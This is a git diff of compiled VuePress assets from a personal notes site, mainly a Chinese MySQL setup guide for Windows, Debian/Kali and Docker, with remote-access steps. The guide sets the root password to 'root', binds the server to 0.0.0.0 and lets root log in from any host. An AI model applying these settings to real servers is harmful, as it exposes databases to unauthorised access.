(mermaid-js.github.io)"),i(l)])])]),A,i(a,{id:"mermaid-161",code:"eJxVjbtuwzAMRfd+BUd7KFz33aVA9w5F0U3xwFi0JUASC0pGmwT59yiShwTgdO7hvZPjv9GgJPj8vgGwum+El6CB9EyxLei+UTGhtou/jQZ/SQ+VPygVl23Wkw0EJRqGkjyq5gMCawIbAGHcORu02BFd1dqqPTUXWjIEE4sHns4vVkZHbR16fr9oyxd33lPKfetokV4OqySG/XaJx0JfDxkb+seZQ4mPlb+p7gsFnSPHs6Dvakl/pzZXHNClzZr1qvuRvLdnqzM7AQLYaEE="}),x,B,e("blockquote",null,[e("p",null,[e("a",C,[n("Flowchart (mermaid-js.github.io)"),i(l)])])]),f,i(a,{id:"mermaid-172",code:"eJxLy8kvT85ILCpR8AniUlBwVNDVtVNwgrKerpv3fNf+p71Tn69b+3TJFmQpuxo0yRpnoAwQOQEldRVAHBALoghZRBeqscYFot5ZQVdPt+bFzFkwMbCAHVQEYTxUuYuCra2dgiuMVfN803R0h4AkgcgV7BU3BTUFdzDLAyLsARTwBAt4AVneEEEfoEA+zEdz2kCm+AKFfYHCFVDhCpCgH0S5n4INyICap/09TydMhFrrD5TwV8gHGqQQAGQGKFQANSsEQnQEgXwOAjXPVqwCmvZiW9fTJbOA5Mup+2sUgrkAHxWVzw=="}),_,k,e("blockquote",null,[e("p",null,[e("a",w,[n("Flowchart (mermaid-js.github.io)"),i(l)])])]),S,i(a,{id:"mermaid-183",code:"eJxLy8kvT85ILCpR8AniUlBwjFZ6vnvy86adT9tan+zd/3zKCo1n3Wue9m/XVIrlAgDAaBV9"}),F,i(a,{id:"mermaid-196",code:"eJxLy8kvT85ILCpRCHHiUgCCZENdXbtEIzC7uDQpvSixIEMhPy8VLJCIJJmal4KqqKQ8HyyQBFKUhEtRRlEqxCywRckIZQD3KSO4"}),T,L,e("blockquote",null,[e("p",null,[e("a",M,[n("Sequence diagram (mermaid-js.github.io)"),i(l)])]),e("p",null,[e("a",K,[n("Mermaid之时序图语法_Feng乍起的博客-CSDN博客_时序图语法"),i(l)])])]),V,i(a,{id:"mermaid-210",code:"eJwrTi0sTc1LTnXJTEwvSszlKkgsKslMzixIzCtRcFZILFZwzslMzSvRS8ksTk4sStGw1ERREgxSEpxaVJZapGdibmZmwOWsoGtnpxBspRAdHOkXq/Bi/fZnG5ue7t71fHW3QohzgMKL/fOe9S3lCgYrc4YoU3B09o5VeL5w3Yt1SzCVIkxEUvZsyranHRtwaeHyyy9JVcgHukrBWQeo81HbRAVjhWdrFj7rX/iss5uLKyc/v0Dh2dQNz3rXPdmz4MW+yRpPdvQ+7Wh73tn+rLn1adtWTSRrA4I9IC582j/xZUMjRBuSD0ByUFf1LQU6DKogNS8Fi0MmK5iAHdKzFOwQhC1unn46cGtebN3+fHfHs7WLIB6ChCKaldCQwKuOCEOxBi8WdQCT7AEh"})])}const N=r(o,[["render",R],["__file","Mermaid.html.vue"]]);export{N as default};
diff --git a/assets/MySQL.html-1014b0ff.js b/assets/MySQL.html-1014b0ff.js
new file mode 100644
index 0000000000..6dbe9820fa
--- /dev/null
+++ b/assets/MySQL.html-1014b0ff.js
@@ -0,0 +1 @@
+const e=JSON.parse(`{"key":"v-afe716fc","path":"/%E5%90%8E%E7%AB%AF/%E6%95%B0%E6%8D%AE%E5%BA%93/MySQL.html","title":"mysql","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"安装","slug":"安装","link":"#安装","children":[]},{"level":2,"title":"启用远程访问权限","slug":"启用远程访问权限","link":"#启用远程访问权限","children":[]},{"level":2,"title":"mysql 数据类型","slug":"mysql-数据类型","link":"#mysql-数据类型","children":[{"level":3,"title":"数值类型","slug":"数值类型","link":"#数值类型","children":[]}]},{"level":2,"title":"重置自增量","slug":"重置自增量","link":"#重置自增量","children":[]},{"level":2,"title":"密码","slug":"密码","link":"#密码","children":[{"level":3,"title":"修改密码","slug":"修改密码","link":"#修改密码","children":[]},{"level":3,"title":"重置密码","slug":"重置密码","link":"#重置密码","children":[]}]},{"level":2,"title":"报错收集","slug":"报错收集","link":"#报错收集","children":[{"level":3,"title":"mysql Failed! Error: SET PASSWORD has no significance for user ‘root’@’localhost’ as the authentication method used doesn’t store authentication data in the mysql server. Please consider using ALTER USER","slug":"mysql-failed-error-set-password-has-no-significance-for-user-root-localhost-as-the-authentication-method-used-doesn-t-store-authentication-data-in-the-mysql-server-please-consider-using-alter-user","link":"#mysql-failed-error-set-password-has-no-significance-for-user-root-localhost-as-the-authentication-method-used-doesn-t-store-authentication-data-in-the-mysql-server-please-consider-using-alter-user","children":[]},{"level":3,"title":"ERROR 1819 (HY000): Your password does not satisfy the current policy requirements","slug":"error-1819-hy000-your-password-does-not-satisfy-the-current-policy-requirements","link":"#error-1819-hy000-your-password-does-not-satisfy-the-current-policy-requirements","children":[]},{"level":3,"title":"ERROR 1396 (HY000): Operation ALTER USER failed for 'root'@'%'","slug":"error-1396-hy000-operation-alter-user-failed-for-root","link":"#error-1396-hy000-operation-alter-user-failed-for-root","children":[]}]}],"git":{"createdTime":1667962035000,"updatedTime":1688724150000,"contributors":[{"name":"233Official","email":"ayusummer233@qq.com","commits":7},{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":2},{"name":"233Official","email":"ayusummr233@gmail.com","commits":1}]},"readingTime":{"minutes":12.4,"words":3721},"filePathRelative":"后端/数据库/MySQL.md","localizedDate":"2022年11月9日","excerpt":""}`);export{e as data};
diff --git a/assets/MySQL.html-d9d971f5.js b/assets/MySQL.html-d9d971f5.js
new file mode 100644
index 0000000000..88efae92b1
--- /dev/null
+++ b/assets/MySQL.html-d9d971f5.js
@@ -0,0 +1,65 @@
+import{_ as c}from"./plugin-vue_export-helper-c27b6911.js";import{r as u,o as d,c as p,d as n,w as a,b as l,e as s,f as i}from"./app-880c6425.js";const m={},h=i(' mysql 安装 ',3),g=l("h3",{id:"官方安装包",tabindex:"-1"},[l("a",{class:"header-anchor",href:"#官方安装包","aria-hidden":"true"},"#"),s(" 官方安装包")],-1),_={href:"https://dev.mysql.com/downloads/installer/",target:"_blank",rel:"noopener noreferrer"},y={href:"https://www.mysql.com/downloads/",target:"_blank",rel:"noopener noreferrer"},b=l("p",null,[l("img",{src:"http://cdn.ayusummer233.top/DailyNotes/202307041757855.png",alt:"image-20230704175739573"})],-1),v=l("p",null,[l("img",{src:"http://cdn.ayusummer233.top/DailyNotes/202307041759098.png",alt:"image-20230704175902000"})],-1),k=l("p",null,[l("img",{src:"http://cdn.ayusummer233.top/DailyNotes/202307041759982.png",alt:"image-20230704175932855"})],-1),q=l("p",null,"直接装的话可能会卡在这一步:",-1),f=l("p",null,[l("img",{src:"http://cdn.ayusummer233.top/DailyNotes/202307041806306.png",alt:"image-20230704180643186"})],-1),w={href:"https://learn.microsoft.com/en-US/cpp/windows/latest-supported-vc-redist?view=msvc-170",target:"_blank",rel:"noopener noreferrer"},E=l("p",null,[l("img",{src:"http://cdn.ayusummer233.top/DailyNotes/202307041809722.png",alt:"image-20230704180957590"})],-1),D=l("p",null,[l("img",{src:"http://cdn.ayusummer233.top/DailyNotes/202307041810896.png",alt:"image-20230704181012782"})],-1),x=l("p",null,[s("安装完 "),l("code",null,"VC++"),s(" 后再次运行安装程序会发现还需要装 Python")],-1),A=l("p",null,[l("img",{src:"http://cdn.ayusummer233.top/DailyNotes/202307050944685.png",alt:"image-20230705094434308"})],-1),R=l("p",null,[s("在 22 年, "),l("code",null,"Python 3.10"),s(" 的保有量就比较大了, 因此这里选择了安装 Python3.10")],-1),B=l("p",null,[l("img",{src:"http://cdn.ayusummer233.top/DailyNotes/202306051123863.png",alt:"image-20230605112325787"})],-1),N=l("blockquote",null,[l("p",null,[l("img",{src:"http://cdn.ayusummer233.top/DailyNotes/202307051004072.png",alt:"image-20230705100419828"})])],-1),L=l("p",null,"安装完 Python 后再次运行 MySQL 安装程序",-1),S=l("p",null,[l("img",{src:"http://cdn.ayusummer233.top/DailyNotes/202307051008686.png",alt:"image-20230705100857573"})],-1),T=l("p",null,[l("img",{src:"http://cdn.ayusummer233.top/DailyNotes/202307051009187.png",alt:"image-20230705100921051"})],-1),I=l("p",null,[l("img",{src:"http://cdn.ayusummer233.top/DailyNotes/202307051016653.png",alt:"image-20230705101652493"})],-1),M=l("p",null,[l("img",{src:"http://cdn.ayusummer233.top/DailyNotes/202307051025990.png",alt:"image-20230705102552702"})],-1),O=l("p",null,[l("img",{src:"http://cdn.ayusummer233.top/DailyNotes/202307051029698.png",alt:"image-20230705102931456"})],-1),C=l("p",null,[l("img",{src:"http://cdn.ayusummer233.top/DailyNotes/202307051052788.png",alt:"image-20230705105214364"})],-1),U=l("blockquote",null,[l("p",null,"这里设置了一个比较弱的密码是有相关需求, 正常使用应当设置一个强密码")],-1),H=l("p",null,[l("img",{src:"http://cdn.ayusummer233.top/DailyNotes/202307051123220.png",alt:"image-20230705112338025"})],-1),P=l("p",null,[l("img",{src:"http://cdn.ayusummer233.top/DailyNotes/202307051123099.png",alt:"image-20230705112358941"})],-1),Y=l("p",null,[l("img",{src:"http://cdn.ayusummer233.top/DailyNotes/202307051124928.png",alt:"image-20230705112414758"})],-1),Q=l("p",null,[l("img",{src:"http://cdn.ayusummer233.top/DailyNotes/202307051126751.png",alt:"image-20230705112608601"})],-1),W=l("p",null,[l("img",{src:"http://cdn.ayusummer233.top/DailyNotes/202307051126285.png",alt:"image-20230705112626119"})],-1),F=l("p",null,[l("img",{src:"http://cdn.ayusummer233.top/DailyNotes/202307051127285.png",alt:"image-20230705112713093"})],-1),V=l("p",null,[l("img",{src:"http://cdn.ayusummer233.top/DailyNotes/202307051127823.png",alt:"image-20230705112728676"})],-1),z=l("p",null,[s("使用刚才创建的 root 密码 check 一下链接再 "),l("code",null,"Next")],-1),G=l("p",null,[l("img",{src:"http://cdn.ayusummer233.top/DailyNotes/202307051128404.png",alt:"image-20230705112821210"})],-1),X=l("p",null,[l("img",{src:"http://cdn.ayusummer233.top/DailyNotes/202307051128765.png",alt:"image-20230705112833612"})],-1),j=l("p",null,[l("img",{src:"http://cdn.ayusummer233.top/DailyNotes/202307051129292.png",alt:"image-20230705112902125"})],-1),K=l("p",null,[l("img",{src:"http://cdn.ayusummer233.top/DailyNotes/202307051129658.png",alt:"image-20230705112916504"})],-1),Z=l("p",null,[l("img",{src:"http://cdn.ayusummer233.top/DailyNotes/202307051328049.png",alt:"image-20230705132804828"}),s("\\")],-1),J=l("p",null,[l("img",{src:"http://cdn.ayusummer233.top/DailyNotes/202307051328358.png",alt:"image-20230705132851148"})],-1),$=l("p",null,[l("img",{src:"http://cdn.ayusummer233.top/DailyNotes/202307051329273.png",alt:"image-20230705132903178"})],-1),ll=l("hr",null,null,-1),sl=l("h3",{id:"手动配置",tabindex:"-1"},[l("a",{class:"header-anchor",href:"#手动配置","aria-hidden":"true"},"#"),s(" 手动配置")],-1),nl={href:"https://www.cnblogs.com/winton-nfs/p/11524007.html",target:"_blank",rel:"noopener noreferrer"},el={href:"https://dev.mysql.com/get/Downloads/mysql-8.0/mysql-8.0.22-winx64.zip",target:"_blank",rel:"noopener noreferrer"},al={href:"https://www.mysql.com/downloads/",target:"_blank",rel:"noopener noreferrer"},tl=l("p",null,[l("img",{src:"http://cdn.ayusummer233.top/img/202211280047742.png",alt:"image-20221128004735707"})],-1),ol=l("p",null,[l("img",{src:"http://cdn.ayusummer233.top/img/202211280047346.png",alt:"image-20221128004757314"})],-1),il=l("p",null,[l("img",{src:"http://cdn.ayusummer233.top/img/202211280048162.png",alt:"image-20221128004839123"})],-1),rl=l("li",null,[l("p",null,"下载完成后解压到你想把 mysql 安装在的目录"),l("blockquote",null,[l("p",null,"该目录不可有中文与空格")])],-1),ul=l("li",null,[l("p",null,"安装 mysql 的服务"),l("ul",null,[l("li",null,[s("打开解压后的文件夹中的 bin 文件夹,单击 Windows 文件资源管理器左上角的"),l("code",null,"文件"),s("->"),l("code",null,"打开Windows Powershell"),s("->"),l("code",null,"以管理员身份打开Windows Powershell"),l("blockquote",null,[l("p",null,[s("Win11 的话 "),l("code",null,"win+X"),s(" 选择 "),l("code",null,"Windows Powershell(管理员)"),s(" 打开, 使用")])]),l("div",{class:"language-powershell line-numbers-mode","data-ext":"powershell"},[l("pre",{class:"language-powershell"},[l("code",null,[s("cd "),l("span",{class:"token punctuation"},"["),s("当前文件夹路径"),l("span",{class:"token punctuation"},"]"),s(`
+`)])]),l("div",{class:"line-numbers","aria-hidden":"true"},[l("div",{class:"line-number"})])]),s("转到当前文件夹路径")]),l("li",null,[s("输入"),l("div",{class:"language-powershell line-numbers-mode","data-ext":"powershell"},[l("pre",{class:"language-powershell"},[l("code",null,[l("span",{class:"token punctuation"},"."),s("\\mysqld "),l("span",{class:"token operator"},"--"),s(`install
+`)])]),l("div",{class:"line-numbers","aria-hidden":"true"},[l("div",{class:"line-number"})])]),s("并回车")]),l("li",null,[s("之后会显示安装成功的提示:"),l("code",null,"Service successfully installed.")])])],-1),cl=l("li",null,[l("p",null,"初始化 mysql"),l("ul",null,[l("li",null,[l("p",null,"输入"),l("div",{class:"language-powershell line-numbers-mode","data-ext":"powershell"},[l("pre",{class:"language-powershell"},[l("code",null,[l("span",{class:"token punctuation"},"."),s("\\mysqld "),l("span",{class:"token operator"},"--"),s("initialize "),l("span",{class:"token operator"},"--"),s(`console
+`)])]),l("div",{class:"line-numbers","aria-hidden":"true"},[l("div",{class:"line-number"})])]),l("p",null,"并回车")]),l("li",null,[l("p",null,[s("将会显示几行文字,复制最后一行"),l("code",null,"root@localhost:"),s("字样后面的字符串"),l("code",null,"o?0yxuffh?E.")]),l("blockquote",null,[l("p",null,"这串字符串是初始化生成的随机密码")])])])],-1),dl=l("li",null,[l("p",null,"开启 mysql 的服务"),l("ul",null,[l("li",null,[l("p",null,"输入"),l("div",{class:"language-powershell line-numbers-mode","data-ext":"powershell"},[l("pre",{class:"language-powershell"},[l("code",null,[s("net "),l("span",{class:"token function"},"start"),s(` mysql
+`)])]),l("div",{class:"line-numbers","aria-hidden":"true"},[l("div",{class:"line-number"})])]),l("p",null,"并回车")]),l("li",null,[l("p",null,[s("将会显示"),l("code",null,"mysql 服务已经启动成功"),s("的字样")])])])],-1),pl=l("li",null,[l("p",null,"登录验证 mysql 是否安装成功"),l("ul",null,[l("li",null,[l("p",null,"输入"),l("div",{class:"language-powershell line-numbers-mode","data-ext":"powershell"},[l("pre",{class:"language-powershell"},[l("code",null,[l("span",{class:"token punctuation"},"."),s("\\mysql "),l("span",{class:"token operator"},"-"),s("u root "),l("span",{class:"token operator"},"-"),s(`p
+`)])]),l("div",{class:"line-numbers","aria-hidden":"true"},[l("div",{class:"line-number"})])]),l("p",null,"并回车,将会让你输入密码"),l("blockquote",null,[l("p",null,"密码就是刚才生成的临时密码,输入并回车即可"),l("p",null,[s("这里需要注意的是: 若刚才生成临时密码的时候最后有个"),l("code",null,"."),s("的话注意这里的"),l("code",null,"."),s(" 不是句号,而是密码的一部分")])])]),l("li",null,[l("p",null,[s("登陆成功后当前光标前面会有"),l("code",null,"mysql>")])])])],-1),ml=l("li",null,[l("p",null,"修改密码"),l("ul",null,[l("li",null,[l("p",null,"登录成功后输入"),l("div",{class:"language-powershell line-numbers-mode","data-ext":"powershell"},[l("pre",{class:"language-powershell"},[l("code",null,[s("alter user "),l("span",{class:"token string"},"'root'"),s("@"),l("span",{class:"token string"},"'localhost'"),s(" identified by "),l("span",{class:"token string"},"'root'"),l("span",{class:"token punctuation"},";"),s(`
+`)])]),l("div",{class:"line-numbers","aria-hidden":"true"},[l("div",{class:"line-number"})])]),l("ul",null,[l("li",null,[l("p",null,[s("这样即可将密码改为"),l("code",null,"root")])]),l("li",null,[l("p",null,[s("同理,将最后 by 后面的"),l("code",null,"root"),s("改成你自己想修改成的密码吧")])]),l("li",null,[l("p",null,[s("修改成功后将会显示"),l("code",null,"Query OK, 0 rows affected"),s("字样")])]),l("li",null,[l("p",null,"输入"),l("div",{class:"language-powershell line-numbers-mode","data-ext":"powershell"},[l("pre",{class:"language-powershell"},[l("code",null,[l("span",{class:"token keyword"},"exit"),s(`
+`)])]),l("div",{class:"line-numbers","aria-hidden":"true"},[l("div",{class:"line-number"})])]),l("p",null,"并回车以退出 mysql")]),l("li",null,[l("p",null,"验证密码"),l("ul",null,[l("li",null,[l("p",null,"输入"),l("div",{class:"language-powershell line-numbers-mode","data-ext":"powershell"},[l("pre",{class:"language-powershell"},[l("code",null,[l("span",{class:"token punctuation"},"."),s("\\mysql "),l("span",{class:"token operator"},"-"),s("u root "),l("span",{class:"token operator"},"-"),s(`p
+`)])]),l("div",{class:"line-numbers","aria-hidden":"true"},[l("div",{class:"line-number"})])]),l("p",null,"并回车,将会让你输入密码")]),l("li",null,[l("p",null,"输入你刚才修改好的密码")]),l("li",null,[l("p",null,"能够再次成功进入则修改成功")])])])])])])],-1),hl=l("li",null,[l("p",null,"设置系统的全局变量:"),l("ul",null,[l("li",null,[l("p",null,[l("code",null,"桌面"),s("->"),l("code",null,'右键"此电脑"'),s("->"),l("code",null,"属性"),s("->左侧"),l("code",null,"高级系统设置"),s("->"),l("code",null,"环境变量")]),l("blockquote",null,[l("p",null,[s("Win 11 的话 "),l("code",null,"设置 -> 系统 -> 关于 -> 高级系统设置 -> 环境变量")]),l("p",null,[l("img",{src:"http://cdn.ayusummer233.top/img/202203271226203.png",alt:"image-20220327122623794"})])])]),l("li",null,[l("p",null,[s("进入后上面是"),l("code",null,"用户变量"),s(",下面是"),l("code",null,"系统变量")]),l("ul",null,[l("li",null,[s("点击 "),l("code",null,"下面的新建按钮"),s(", 新建一个"),l("code",null,"系统变量"),l("ul",null,[l("li",null,[s("变量名填"),l("code",null,"mysql")]),l("li",null,[s("变量值填你将 mysql 安装的位置 "),l("ul",null,[l("li",null,[s("例如我填的是"),l("code",null,"C:\\Database\\mysql\\mysql-8.0.22-winx64")])])]),l("li",null,[s("单击"),l("code",null,"确定"),s("以完成新建")])])]),l("li",null,[s("进入"),l("code",null,"系统变量"),s("的"),l("code",null,"Path"),s("变量 "),l("ul",null,[l("li",null,[s("单击"),l("code",null,"新建")]),l("li",null,[s("输入"),l("code",null,"%mysql%\\bin")])])]),l("li",null,"完成后逐级确定以完成配置")])])])],-1),gl=l("li",null,[l("p",null,"配置完系统变量之后要登录 mysql 只需"),l("ul",null,[l("li",null,[l("p",null,[l("code",null,"Win + R"),s("输入"),l("code",null,"cmd"),s("并回车打开命令行窗口")])]),l("li",null,[l("p",null,"输入"),l("div",{class:"language-bash line-numbers-mode","data-ext":"sh"},[l("pre",{class:"language-bash"},[l("code",null,[s("mysql "),l("span",{class:"token parameter variable"},"-u"),s(" root "),l("span",{class:"token parameter variable"},"-p"),s(`
+`)])]),l("div",{class:"line-numbers","aria-hidden":"true"},[l("div",{class:"line-number"})])]),l("p",null,"并回车即可")])])],-1),_l=l("li",null,[l("p",null,"在 mysql 目录下创建一个 ini 或 cnf 配置文件,在这里我创建的是 ini 配置文件,里面写的代码是 mysql 的一些基本配置"),l("ul",null,[l("li",null,[s("mysql 目录就是刚才配置环境变量时的 mysql 安装位置 "),l("ul",null,[l("li",null,[s("我的就是"),l("code",null,"C:\\Database\\mysql\\mysql-8.0.22-winx64")]),l("li",null,[s("打开该文件夹新建一个文本文档并"),l("strong",null,"连同文件扩展名"),s("一同改为"),l("code",null,"my.ini"),l("ul",null,[l("li",null,[s("打开"),l("code",null,"my.ini"),s(",键入以下配置并保存退出"),l("div",{class:"language-ini line-numbers-mode","data-ext":"ini"},[l("pre",{class:"language-ini"},[l("code",null,[l("span",{class:"token section"},[l("span",{class:"token punctuation"},"["),l("span",{class:"token section-name selector"},"mysqld"),l("span",{class:"token punctuation"},"]")]),s(`
+`),l("span",{class:"token key attr-name"},"character-set-server"),l("span",{class:"token punctuation"},"="),l("span",{class:"token value attr-value"},"utf8mb4"),s(`
+`),l("span",{class:"token key attr-name"},"bind-address"),l("span",{class:"token punctuation"},"="),l("span",{class:"token value attr-value"},"0.0.0.0"),s(`
+`),l("span",{class:"token key attr-name"},"port"),l("span",{class:"token punctuation"},"="),l("span",{class:"token value attr-value"},"3306"),s(`
+`),l("span",{class:"token key attr-name"},"default-storage-engine"),l("span",{class:"token punctuation"},"="),l("span",{class:"token value attr-value"},"INNODB"),s(`
+`),l("span",{class:"token section"},[l("span",{class:"token punctuation"},"["),l("span",{class:"token section-name selector"},"mysql"),l("span",{class:"token punctuation"},"]")]),s(`
+`),l("span",{class:"token key attr-name"},"default-character-set"),l("span",{class:"token punctuation"},"="),l("span",{class:"token value attr-value"},"utf8mb4"),s(`
+`),l("span",{class:"token section"},[l("span",{class:"token punctuation"},"["),l("span",{class:"token section-name selector"},"client"),l("span",{class:"token punctuation"},"]")]),s(`
+`),l("span",{class:"token key attr-name"},"default-character-set"),l("span",{class:"token punctuation"},"="),l("span",{class:"token value attr-value"},"utf8mb4"),s(`
+`)])]),l("div",{class:"line-numbers","aria-hidden":"true"},[l("div",{class:"line-number"}),l("div",{class:"line-number"}),l("div",{class:"line-number"}),l("div",{class:"line-number"}),l("div",{class:"line-number"}),l("div",{class:"line-number"}),l("div",{class:"line-number"}),l("div",{class:"line-number"}),l("div",{class:"line-number"})])])])])])])])])],-1),yl=l("li",null,[l("p",null,"到这里就已经配置完成了")],-1),bl=l("li",null,[l("p",null,"你可以在 Navicat 中连接配置好的 mysql"),l("ul",null,[l("li",null,"打开 Navicat"),l("li",null,[s("左上"),l("code",null,"连接"),s("->"),l("code",null,"mysql"),l("ul",null,[l("li",null,"连接名自拟"),l("li",null,[s("主机:"),l("code",null,"localhost")]),l("li",null,[s("端口:"),l("code",null,"3306")]),l("li",null,[s("用户名:"),l("code",null,"root")]),l("li",null,"密码:你刚才配置好的 mysql 的密码")])]),l("li",null,[s("输入完成并单击"),l("code",null,"确定"),s("后会在当前窗口左栏出现一个你自拟的链接名,双击它,若它变绿了就说明连接上你配置的 mysql 了")])])],-1),vl=l("strong",null,"可能出现的问题",-1),kl={href:"https://www.cnblogs.com/winton-nfs/p/11524007.html",target:"_blank",rel:"noopener noreferrer"},ql=l("p",null,[s("如果有空的话别忘了给博主点个"),l("code",null,"推荐"),s("哦")],-1),fl={href:"https://www.cnblogs.com/syq816/p/12241136.html",target:"_blank",rel:"noopener noreferrer"},wl=l("hr",null,null,-1),El={href:"https://cloud.tencent.com/developer/article/1920635",target:"_blank",rel:"noopener noreferrer"},Dl=l("p",null,"kali 自带 MariaDB, 基本兼容 mysql",-1),xl=l("p",null,"在部署 gshark时要安装 mysql, 且其只支持 mysql",-1),Al=l("p",null,"搜索 linux 安装 mysql 多半出来的是 CentOS 的陈年教程",-1),Rl={href:"https://www.myfreax.com/how-to-install-mysql-on-debian-10/",target:"_blank",rel:"noopener noreferrer"},Bl=l("p",null,[l("img",{src:"http://cdn.ayusummer233.top/img/202211231606829.png",alt:"image-20221123144046127"})],-1),Nl=l("hr",null,null,-1),Ll=l("div",{class:"language-bash line-numbers-mode","data-ext":"sh"},[l("pre",{class:"language-bash"},[l("code",null,[l("span",{class:"token comment"},"# 启动 mysql 服务"),s(`
+`),l("span",{class:"token function"},"service"),s(` mysql start
+`)])]),l("div",{class:"line-numbers","aria-hidden":"true"},[l("div",{class:"line-number"}),l("div",{class:"line-number"})])],-1),Sl=l("blockquote",null,[l("p",null,[l("img",{src:"http://cdn.ayusummer233.top/img/202211231606894.png",alt:"image-20221123144229699"})])],-1),Tl=l("div",{class:"language-bash line-numbers-mode","data-ext":"sh"},[l("pre",{class:"language-bash"},[l("code",null,[l("span",{class:"token comment"},"# 初始化密码"),s(`
+mysql_secure_installation
+`)])]),l("div",{class:"line-numbers","aria-hidden":"true"},[l("div",{class:"line-number"}),l("div",{class:"line-number"})])],-1),Il=l("blockquote",null,[l("p",null,[l("img",{src:"http://cdn.ayusummer233.top/img/202211231606785.png",alt:"image-20221123144351106"})]),l("p",null,"然后可以一路 yes 下去(或者按照自己的需求选择配置)"),l("p",null,[l("img",{src:"http://cdn.ayusummer233.top/img/202211231606778.png",alt:"image-20221123144915315"})])],-1),Ml=l("hr",null,null,-1),Ol={href:"https://www.myfreax.com/how-to-install-mysql-on-debian-10/",target:"_blank",rel:"noopener noreferrer"},Cl=l("hr",null,null,-1),Ul=l("p",null,"mysql在默认的 Debian 存储库中不可用。 MariaDB 是 Debian 10中的默认数据库。",-1),Hl={href:"https://dev.mysql.com/downloads/repo/apt/",target:"_blank",rel:"noopener noreferrer"},Pl={href:"https://www.myfreax.com/wget-command-examples/",target:"_blank",rel:"noopener noreferrer"},Yl=l("div",{class:"language-bash line-numbers-mode","data-ext":"sh"},[l("pre",{class:"language-bash"},[l("code",null,[l("span",{class:"token function"},"wget"),s(` https://repo.mysql.com//mysql-apt-config_0.8.24-1_all.deb
+`),l("span",{class:"token comment"},"# 安装此 deb 软件包"),s(`
+`),l("span",{class:"token function"},"apt"),s(),l("span",{class:"token function"},"install"),s(` ./mysql-apt-config_0.8.24-1_all.deb
+`)])]),l("div",{class:"line-numbers","aria-hidden":"true"},[l("div",{class:"line-number"}),l("div",{class:"line-number"}),l("div",{class:"line-number"})])],-1),Ql=l("hr",null,null,-1),Wl={href:"https://developer.aliyun.com/article/758177",target:"_blank",rel:"noopener noreferrer"},Fl=l("hr",null,null,-1),Vl=l("div",{class:"language-bash line-numbers-mode","data-ext":"sh"},[l("pre",{class:"language-bash"},[l("code",null,[l("span",{class:"token function"},"sudo"),s(),l("span",{class:"token function"},"apt"),s(` update
+`),l("span",{class:"token function"},"sudo"),s(),l("span",{class:"token function"},"apt"),s(),l("span",{class:"token function"},"install"),s(` mysql-server
+`),l("span",{class:"token comment"},"# 安装完后会自动启动后, 可以执行如下命令查看其运行状态"),s(`
+`),l("span",{class:"token function"},"sudo"),s(` systemctl status mysql
+`),l("span",{class:"token comment"},"# mysql 安装文件附带了一个名为mysql_secure_installation的脚本,它允许你很容易地提高数据库服务器的安全性"),s(`
+`),l("span",{class:"token function"},"sudo"),s(` mysql_secure_installation
+`)])]),l("div",{class:"line-numbers","aria-hidden":"true"},[l("div",{class:"line-number"}),l("div",{class:"line-number"}),l("div",{class:"line-number"}),l("div",{class:"line-number"}),l("div",{class:"line-number"}),l("div",{class:"line-number"})])],-1),zl=l("hr",null,null,-1),Gl={href:"https://blog.csdn.net/qq_43781399/article/details/112650755",target:"_blank",rel:"noopener noreferrer"},Xl=l("hr",null,null,-1),jl=l("div",{class:"language-bash line-numbers-mode","data-ext":"sh"},[l("pre",{class:"language-bash"},[l("code",null,[l("span",{class:"token function"},"docker"),s(` pull mysql
+`),l("span",{class:"token function"},"docker"),s(" run "),l("span",{class:"token parameter variable"},"-d"),s(),l("span",{class:"token parameter variable"},"-p"),s(),l("span",{class:"token punctuation"},"["),s("宿主机端口"),l("span",{class:"token punctuation"},"]"),s(":3306 "),l("span",{class:"token parameter variable"},"-e"),s(),l("span",{class:"token assign-left variable"},"mysql_ROOT_PASSWORD"),l("span",{class:"token operator"},"="),l("span",{class:"token punctuation"},"["),s("初始化root密码"),l("span",{class:"token punctuation"},"]"),s(),l("span",{class:"token parameter variable"},"--name"),s(),l("span",{class:"token punctuation"},"["),s("自定义一个可辨识的容器名"),l("span",{class:"token punctuation"},"]"),s(` mysql
+`),l("span",{class:"token comment"},"# 进入 docker 容器"),s(`
+`),l("span",{class:"token function"},"docker"),s(),l("span",{class:"token builtin class-name"},"exec"),s(),l("span",{class:"token parameter variable"},"-it"),s(),l("span",{class:"token punctuation"},"["),s("上面自定义的可辨识的容器名"),l("span",{class:"token punctuation"},"]"),s(),l("span",{class:"token function"},"bash"),s(`
+`),l("span",{class:"token comment"},"# 如果想远程连接且mysql在docker里的话可以执行"),s(`
+alter user `),l("span",{class:"token string"},"'root'"),s("@"),l("span",{class:"token string"},"'%'"),s(" identified with mysql_native_password by "),l("span",{class:"token string"},"'root'"),l("span",{class:"token punctuation"},";"),s(`
+`)])]),l("div",{class:"line-numbers","aria-hidden":"true"},[l("div",{class:"line-number"}),l("div",{class:"line-number"}),l("div",{class:"line-number"}),l("div",{class:"line-number"}),l("div",{class:"line-number"}),l("div",{class:"line-number"})])],-1),Kl=l("p",null,"如果出现报错, 可以参考本文最后一节的报错收集中的相关条目",-1),Zl=l("hr",null,null,-1),Jl=l("hr",null,null,-1),$l=l("h2",{id:"启用远程访问权限",tabindex:"-1"},[l("a",{class:"header-anchor",href:"#启用远程访问权限","aria-hidden":"true"},"#"),s(" 启用远程访问权限")],-1),ls={href:"https://developer.aliyun.com/article/801237",target:"_blank",rel:"noopener noreferrer"},ss=i(`默认情况下, MySQL 只允许本地登录, 因此远程连接的话需要修改配置
打开 MySQL Command Line
输入密码以登入, 然后
use mysql
+select User , authentication_string, Host from user ;
+
可以看到当前只有一个 root 用户绑定在 localhost 上, 可以直接将此表中 root 对应的 Host 改为 % 来允许远程登录
update user set host= '%' where user = 'root' ;
+
+FLUSH PRIVILEGES ;
+
然后就可以远程连接了:
